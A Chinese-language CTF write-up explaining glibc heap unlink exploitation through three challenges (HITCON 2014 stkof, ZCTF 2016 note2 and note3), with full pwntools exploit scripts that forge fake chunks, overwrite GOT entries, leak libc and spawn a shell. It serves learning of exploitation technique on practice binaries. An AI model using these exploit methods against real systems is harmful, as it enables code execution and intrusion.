介绍与原理
主要是内存布局好之后,通过 unlink 来修改指针
正常的 unlink 是当我们去 free 一个 chunk 的时候,如果这个 chunk 的前一个或后一个是 free 的状态,glibc 会把它从链表里面取出来,与现在要 free 的这个合并再放进去,取出来的这个过程就是 unlink
wiki 上面的一个示意图,Fd 是前置指针,Bk 是后置指针
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)我们需要绕过他的检查
2014 HITCON stkof
这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的
https://blog.csdn.net/weixin_42151611/article/details/97016767
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * context(arch='amd64',os='linux')
p = process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OK\n')
def edit(index,size,content): p.sendline('2') p.sendline(str(index)) p.sendline(str(size)) p.send(content) p.recvuntil('OK\n')
def delete(index): p.sendline('3') p.sendline(str(index))
head = 0x602140 create(0x10) create(0x30) create(0x80)
payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20) payload = payload.ljust(0x30,'a') payload += p64(0x30)+p64(0x90) edit(2,len(payload),payload)
gdb.attach(p) pause() delete(3)
p.recvuntil('OK\n')
free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts']
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got) edit(2,len(payload),payload)
payload = p64(puts_plt) edit(0,len(payload),payload)
delete(1)
leak = p.recvuntil('\nOK\n')[:6] puts_addr = u64(leak.ljust(8,'\x00')) log.success('puts addr: '+hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] log.success('libc_base: '+hex(libc_base)) sys_addr = libc_base + libc.symbols['system'] log.success('sys_addr: '+hex(sys_addr))
payload = p64(sys_addr) edit(2,len(payload),payload)
payload = '/bin/sh\x00' p.sendline(payload) p.interactive()
|
运行连个菜单都不给…
把名字改一下
create 功能,输入一个 size,然后申请 size 大小的堆块
会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 ++ 了)
edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出
wp 说没有 setbuf,会先申请 1024 的堆空间??
要先提前申请个 chunk 来防止他们干扰??
怎么就能防止干扰了??
其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧
黄色指的是提前申请的一个用来占空的
两个白色是缓冲区占用的,这样后面再申请就连起来了
这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)
payload 如下:
1 2 3
| payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20) payload = payload.ljust(0x30,'a') payload += p64(0x30)+p64(0x90)
|
这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head+16-0x18) 和 p64(head+16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0
这样,对第 3 个进行 free 的时候会发生 unlink,head + 16 与 head +16 -0x18
那么最终的效果就是我们编辑第二个的时候就是编辑的 head + 16 - 0x18,也就是 0x602138
那么
1 2
| payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got) edit(2,len(payload),payload)
|
因为此时的第二块指的是 head-8,所以首先要填充 8 位,然后修改 s[0]=free_got,s[1]=puts_got,s[2]=atoi_got
修改完之后(虽然程序用的是 s[1] 开始记录指针的,但是 0 也是能用的啊)
这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了
1 2
| payload = p64(puts_plt) edit(0,len(payload),payload)
|
那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc
算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址
1 2
| payload = p64(sys_addr) edit(2,len(payload),payload)
|
因为输入的时候就是往 atoi 中输入的,所以直接 sendline(“/bin/sh”) 就可以达到 system(“/bin/sh”) 的效果
2016 ZCTF note2
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * context.log_level = 'debug' p = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'
def create(length, content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)') p.sendline(str(length)) p.recvuntil('content:') p.sendline(content)
def show(id): p.recvuntil('option--->>') p.sendline('2') p.recvuntil('note:') p.sendline(str(id))
def edit(id, choice, s): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('note:') p.sendline(str(id)) p.recvuntil('2.append]') p.sendline(str(choice)) p.sendline(s)
def delete(id): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('note:') p.sendline(str(id))
p.sendlineafter('name:','yichen') p.sendlineafter('address:','yichen')
ptr=0x602120 payload='a'*8+p64(0x61)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*64+p64(0x60) create(0x80,payload)
create(0,'a'*16) create(0x80,'a'*16)
delete(1) content='a'*16+p64(0xa0)+p64(0x90) create(0,content)
delete(2)
atoi_got = note2.got['atoi'] content = 'a' * 0x18 + p64(atoi_got) edit(0, 1, content) show(0) atoi_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
atoi_offest = libc.symbols['atoi'] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system'] system_addr = libcbase + system_offest
content = p64(system_addr) edit(0, 1, content)
p.recvuntil('option--->>') p.sendline('/bin/sh') p.interactive()
|
程序功能如下
申请的内容会放到 &ptr+dword_602160 这里,总共只能申请 3 个
首先,申请的时候有一个 0x0 的,但是要有个 chunk 头和记录 fd、bk 的地方,所以实际分配的是 0x20
第 0 个写入的内容中构造了一个 fake chunk,大小是 0x50,它的 fd、bk 是 ptr - 0x18 和 ptr - 0x10
但是下一个的 chunk 的 prev_size 我们没法改变,那么之前申请的那个 0x0 的第 1 个就派上用场了,首先把申请的第 1 个给释放掉,因为是 fastbin 所以我们再次申请 0x0 大小的时候还是会申请到这个地方,而同时,因为 i 是一个无符号型的,我们输入的 0-1 就会变成一个很大的数,所以我们可以写很多的内容,从而覆盖掉后一个 chunk 给他改写掉
其中 i 是 unsigned 类型,a2 为 int 类型,所以两者在 for 循环相比较的时候,a2-1 的结果 - 1 会被视为 unsigned 类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。
这里我想在开始就改写,但是不行,原因大概是一开始下面的那个 chunk 没有申请,溢出的那块地址没法写入?
所以先把第 1 个释放掉,在申请回来
1 2 3
| delete(1) content='a'*16+p64(0xa0)+p64(0x90) create(0,content)
|
之后再去释放第 2 个,就会把第 0 个构造的 fake chunk 给 unlink
unlink 之后的结果就是 ptr = ptr-0x18
现在修改第 0 个就是修改的 ptr-0x18,所以我们先写上 0x18 个 a 占空,然后写上 atoi 的 got 表项,这样使用 show 功能的时候就会 show atoi 的 got 表项的内容
1 2 3
| atoi_got = note2.got['atoi'] content = 'a' * 0x18 + p64(atoi_got) editnote(0, 1, content)
|
然后根据得到的 atoi 的地址来算出 system 的地址
因为此时 ptr 指向的是 atoi 的 got 表项,所以我们直接编辑第 0 个就可以把 atoi 的 got 表项改成 system 的地址
至于为啥是 atoi 他接收 option 输入的时候用的是 atoi 函数
2016 ZCTF note3
show 功能没了
申请的 malloc 的地址会存在 ptr=0x6020C8
再编辑的时候如果大小是 0 的话,照样会变成一个很大的数字,所以存在堆溢出
一开始申请三个 chunk(index 从 0 开始),第一个里面直接构造一个 fake chunk
然后先把第 1 个 delete,然后在申请回来就能通过负数来获得一个很大的 size
把第 2 个给改掉,这样当 delete 的时候就能进行 unlink,这样 ptr 就等于 ptr-0x18 了
然后就能通过写第 0 个来改变 ptr-0x18 处的内容
1 2 3 4
| payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got) edit(0,payload3) edit(0,p64(puts_plt)[:-1]) delete(1)
|
注意这里的 [:-1] 由于 p64 总共 8 个字节,如果不加上 [:-1] 会由于 sendline 最后的 \n 覆盖掉与它紧邻位置的数据。而为什么能使用 [:-1]? 可以输出 hex(p64(puts_plt)) 试一下,会发现它是 0x0000xxxxxxxxxx 的形式,前面会有至少 2 个 00,再加上小端序的问题,我们就相当于丢掉了开头的 2 个 00,这样并不会产生太大影响,最主要的是我们保护了与它紧邻的数据。
http://liul14n.top/2020/02/06/Unlink-ZCTF-2016-note3/
这样就能泄露出 puts 的真实地址,然后计算出 system 的地址,这时候再去申请一个,会发现他是第 1 个
那么把 free 的 got 表项改成 system,就能执行 system(“/bin/sh”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * p=process('./note3') elf=ELF('./note3') libc=ELF('./libc.so.6')
def cmd(choice): p.sendlineafter('option--->>\n',str(choice))
def create(size,content): cmd(1) p.sendlineafter('1024)\n',str(size)) p.sendlineafter('content:\n',content)
def edit(index,content): cmd(3) p.sendlineafter('note:\n',str(index)) p.sendlineafter('content:\n',content)
def delete(index): cmd(4) p.sendlineafter('note:\n',str(index))
ptr=0x6020C8 fake_chunk='a'*8+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10) create(0x80,fake_chunk) create(0,'123') create(0x80,'writeup')
delete(1) payload='a'*0x10 + p64(0xa0) + p64(0x90) create(0,payload) delete(2)
puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] free_got = elf.got["free"] system = libc.symbols['system'] puts = libc.symbols['puts'] payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got) edit(0,payload3)
edit(0,p64(puts_plt)[:-1]) delete(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) create(0x20,'/bin/sh\00')
libcbase = puts_addr - puts system_addr = libcbase + system edit(0,p64(system_addr)[:-1]) delete(1) p.interactive()
|